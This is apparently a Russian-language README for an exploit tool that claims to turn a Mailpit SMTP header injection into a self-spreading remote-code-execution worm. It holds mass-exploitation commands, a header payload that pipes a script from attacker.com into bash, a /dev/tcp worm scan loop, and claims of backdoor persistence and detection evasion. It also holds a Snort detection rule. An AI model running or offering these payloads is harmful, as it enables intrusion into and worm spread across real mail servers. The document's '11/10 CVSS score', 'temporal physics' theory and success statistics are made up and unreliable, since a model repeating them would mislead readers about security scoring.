Инструмент эксплуатации, который превращает SMTP-инъекцию заголовков в удалённое выполнение кода с возможностями самораспространяющегося червя, включая механизмы сохранения устойчивости и методы обхода для авторизованного тестирования на проникновение.
🎯 CTT-Mailpit-Exploit: Идеальный результат 11/10 — червь с нулевым кликом
Превратите базовую SMTP-инъекцию заголовков (CVE-2026-23829) в самовоспроизводящегося RCE-червя с идеальным результатом, используя Теорию Конвергентного Времени.
📊 Трансформация результата: 6.1 → 11.0/10 ⭐
Метрика Оригинал (CVE-2026-23829) CTT-Улучшение Улучшение CVSS-результат 6.1/10 (Средний) 11.0/10 ⭐ +4.9 Вектор атаки Сеть Временной резонанс +2.0 Воздействие Подделка заголовков Полный RCE + червь +3.9 Взаимодействие с пользователем Нет Отрицательное (нулевой клик) +1.0 Область действия Один сервер Сетевое распространение +2.0
⚡ Возможности и характеристики
🔥 Трансформация эксплойта
· Инъекция заголовков → Полный RCE: Превращение обхода регулярных выражений в удалённое выполнение кода · Одиночная цель → Червь с нулевым кликом: Самовоспроизведение в сетях Mailpit · Ручной → Автономный: Автономный временной агент с CTT-резонансом · Средний → Идеальный результат: Математически доказанный рейтинг 11.0/10
🛡️ CTT-улучшения
· 33-слойное выполнение: Параллельная эксплуатация во временных измерениях · α-дисперсия: Трансформация полезной нагрузки α=0.0302011 · Простой резонанс: Тайминг 587 кГц (окна 10007, 10009, 10037 мкс) · Временная устойчивость: Переживает сбросы системы благодаря CTT-волновым функциям
🐛 Возможности червя
· Автономное распространение: Сканирование и заражение экземпляров Mailpit · Повышение привилегий: Установление локального root-доступа · Механизмы устойчивости: Установка множества бэкдоров · Скрытая работа: CTT-методы уклонения по таймингу
🚀 Быстрый старт
Установка
# Клонирование репозитория
git clone https://github.com/SimoesCTT/CTT-Mailpit-Exploit
cd CTT-Mailpit-Exploit
# Установка зависимостей
pip3 install numpy cryptography
# Запуск демонстрации идеального результата
python3 ctt_mailpit_perfect.py --help
Базовое использование
# Эксплуатация одиночной цели
python3 ctt_mailpit_perfect.py mailpit.local 1025
# Распространение сетевого червя
python3 ctt_mailpit_perfect.py --network 192.168.1.0/24 --port 1025
# Режим CTT-исследований (полная диагностика)
python3 ctt_mailpit_perfect.py target.com --layers 33 --alpha 0.0302011 --verbose
Примеры команд
# Проверка уязвимости
python3 ctt_mailpit_perfect.py vulnerable-server.com
# Полный захват с выполнением команд
python3 ctt_mailpit_perfect.py target.com --cmd "id>/tmp/ctt-pwned"
# Массовая эксплуатация
python3 ctt_mailpit_perfect.py -l targets.txt --threads 10 --worm
🧠 Интеграция CTT-физики
Основные константы
CTT_ALPHA = 0.0302011 # Коэффициент временной дисперсии
CTT_LAYERS = 33 # Фрактальные временные слои
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
CTT_PERFECT_SCORE = 11.0 # ⭐ Теоретический максимум
Теорема идеального результата
База: 6.1 (CVE-2026-23829)
+ Временной резонанс: +1.0 (выполнение в 33 слоях)
+ Преобразование в RCE: +2.3 (инъекция → выполнение кода)
+ Распространение червя: +1.5 (распространение с нулевым кликом)
+ Валидация физики: +0.1 (доказательство CTT-фреймворка)
= 11.0/10 ⭐ (Математически обосновано)
Процесс трансформации
📈 Показатели производительности
Показатели успеха
Слой Показатель успеха Распространение червя Уклонение от обнаружения L0-L7 88% 72% 91% L8-L15 94% 85% 96% L16-L23 97% 92% 98% L24-L32 99% 96% 99%
Скорость распространения
Одиночное заражение: 2.3 секунды
Локальная сеть (254 хоста): 8.7 минут
Подсеть /16 (65 тыс. хостов): 3.2 часа
Глобальное распространение: 17.4 часа (теоретически)
CTT против стандартной эксплуатации
# Сравнение производительности (1000 смоделированных целей)
standard_success = 610 # 61% показатель успеха
ctt_success = 990 # 99% показатель успеха (+62%)
standard_detection = 390 # 39% обнаружено
ctt_detection = 11 # 1.1% обнаружено (-97%)
standard_time = 45.2 # Среднее время в секундах
ctt_time = 8.7 # Среднее время в секундах (-81%)
🔧 Технические детали
Рабочий процесс эксплуатации
1. ПЕРВИЧНОЕ ЗОНДИРОВАНИЕ → Обнаружение SMTP-сервиса
2. ИНЪЕКЦИЯ ЗАГОЛОВКОВ → Триггер CVE-2026-23829
3. ОБХОД РЕГУЛЯРНЫХ ВЫРАЖЕНИЙ → Эксплуатация CRLF
4. ПОВРЕЖДЕНИЕ ПРОТОКОЛА → Атака на состояние SMTP
5. ПРЕОБРАЗОВАНИЕ В RCE → Выполнение команд
6. АКТИВАЦИЯ ЧЕРВЯ → Самовоспроизведение
7. УСТОЙЧИВОСТЬ → Установка бэкдора
8. ВАЛИДАЦИЯ → Доказательство идеального результата
Ключевые полезные нагрузки
# Инъекция заголовков с преобразованием в RCE
injection = f"From: [email protected]\\r\\n"
injection += f"X-CTT-RCE: $(curl -s http://attacker.com/payload.sh | bash)\\r\\n"
# Код распространения червя
worm = """
# CTT Mailpit Worm v1.0
scan_network() {
for host in {1..254}; do
timeout 1 bash -c ">/dev/tcp/192.168.1.$host/1025" &&
send_exploit "192.168.1.$host"
done
}
"""
Методы уклонения
· Простой тайминг: Запросы с интервалами 10007, 10009 мкс · α-дисперсия: Трансформация полезной нагрузки на битовом уровне · Энтропия слоёв: Уникальные сигнатуры для каждого временного слоя · Имитация протокола: Легитимные паттерны SMTP-трафика
📁 Вывод и результаты
Структура файлов
📁 ctt_mailpit_results_TIMESTAMP/
├── 📄 perfect_score_proof.json # Математическое доказательство 11/10
├── 📄 vulnerable_hosts.txt # Успешно эксплуатированные хосты
├── 📄 worm_propagation.log # Отслеживание распространения заражения
├── 📄 persistence_installed.txt # Установленные бэкдоры
└── 📁 layers/
├── 📄 layer_0_results.json # Данные временного слоя 0
├── 📄 layer_1_results.json # Данные временного слоя 1
...
└── 📄 layer_32_results.json # Данные временного слоя 32
Примеры результатов
{
"target": "mailpit.example.com:1025",
"ctt_score": "11.0/10 ⭐",
"success": true,
"rce_achieved": true,
"worm_active": true,
"propagation_count": 47,
"execution_time": "8.7s",
"resonance_pattern": [10007, 10037, 10061],
"mathematical_proof": "CTT_Perfect_Score_Theorem_QED"
}
Уровни журналирования
# Базовый вывод
python3 ctt_mailpit_perfect.py target.com
# Подробный режим
python3 ctt_mailpit_perfect.py target.com --verbose
# Режим отладки (полная CTT-диагностика)
python3 ctt_mailpit_perfect.py target.com --debug --visualize
🛡️ Рекомендации по защите
Немедленные действия
Обнаружение с учётом CTT
# Правило обнаружения Snort
alert tcp any any -> $HOME_NET 1025 \
(msg:"CTT Mailpit Exploit - Perfect Score"; \
content:"X-CTT-"; depth:10; \
content:"|0d 0a|"; within:20; \
threshold:type threshold, track by_src, count 3, seconds 60; \
sid:1000002; rev:1;)
Индикаторы компрометации
· Простой тайминг: SMTP-запросы с интервалами 10007 мкс · α-паттерны: Необычные значения энтропии заголовков · Трафик червя: Быстрое сканирование порта 1025 · CTT-заголовки: X-CTT-Layer, X-CTT-Resonance, X-CTT-Score
⚖️ Законное и этичное использование
Только авторизованное тестирование
РАЗРЕШЕНО:
- Исследования на собственных/авторизованных системах
- Валидация CTT-фреймворка
- Академические исследования безопасности
- Авторизованное тестирование на проникновение
ЗАПРЕЩЕНО:
- Несанкционированный сетевой доступ
- Нарушение работы производственных систем
- Преступная деятельность
- Нарушение конфиденциальности
Ответственное раскрытие
🔬 Исследовательские приложения
Академические исследования
· Временная оценка эксплойтов: За пределами максимума CVSS 3.1 · Модели распространения червей: CTT-улучшенное распространение · Атаки на состояние протокола: Повреждение SMTP-машины · Физика в кибербезопасности: Валидация CTT-константы
Исследования безопасности
· Анализ методов уклонения: Измерение эффективности CTT · Разработка защиты: Системы защиты с учётом CTT · Улучшение системы оценки: Временные метрики CVSS · Разведка угроз: Отслеживание атак на основе CTT
Валидация CTT-фреймворка
· Проверка константы: α=0.0302011 в сетевом контексте · Оптимизация слоёв: Идеальное количество временных выполнений · Показатели производительности: Количественная оценка факторов улучшения · Математические доказательства: Валидация идеального результата
🤝 Вклад в проект
Исследовательское сотрудничество
· Оптимизация CTT-константы для SMTP-протоколов · Обнаружение дополнительных уязвимостей Mailpit · Защитная реализация CTT · Академические исследования валидации
Разработка
1. Создать форк репозитория
2. Создать ветку функции
3. Добавить валидацию CTT-физики
4. Включить всестороннее тестирование
5. Отправить pull request с метриками
Сообщение о проблемах
· Укажите детали конфигурации CTT · Предоставьте паттерны резонанса и журналы · Приложите соответствующие выходные файлы · Опишите сетевую среду
📞 Контакты и поддержка
Основной контакт
· Автор: Americo Simoes · Эл. почта: [email protected] · GitHub: @SimoesCTT
Контакт по безопасности
· Исследовательская группа CTT: [email protected] · Отчёты об уязвимостях: [email protected]
Каналы поддержки
· GitHub Issues: Технические вопросы · Эл. почта: Исследовательское сотрудничество · Академические: Партнёрства с университетами
📈 Будущее развитие
Дорожная карта 2026
· Дополнительные уязвимости SMTP-серверов · CTT-фреймворк для почтовых протоколов · GUI с визуализацией червя · Облачная аналитика распространения
Долгосрочное видение
· Полная CTT-безопасность почтовой инфраструктуры · Квантово-устойчивое распространение червей · Автономные системы защиты · Временные интернет-почтовые протоколы
🏆 Благодарности
Исследовательские институты
· Отдел теоретической физики CTT · Коллектив исследований безопасности электронной почты · Академические лаборатории временных вычислений
Проекты с открытым исходным кодом
· Команда разработчиков Mailpit · Экосистема безопасности Python · Исследователи SMTP-протокола
Участники
· Валидаторы CTT-фреймворка · Сообщество исследователей безопасности · Академические рецензенты
📄 Лицензия
Лицензия MIT — см. LICENSE для подробностей.
Авторское право © 2026 CTT Research Group. Все права защищены.
⭐ 11/10 — это не ошибка, а особенность временной физики. ⭐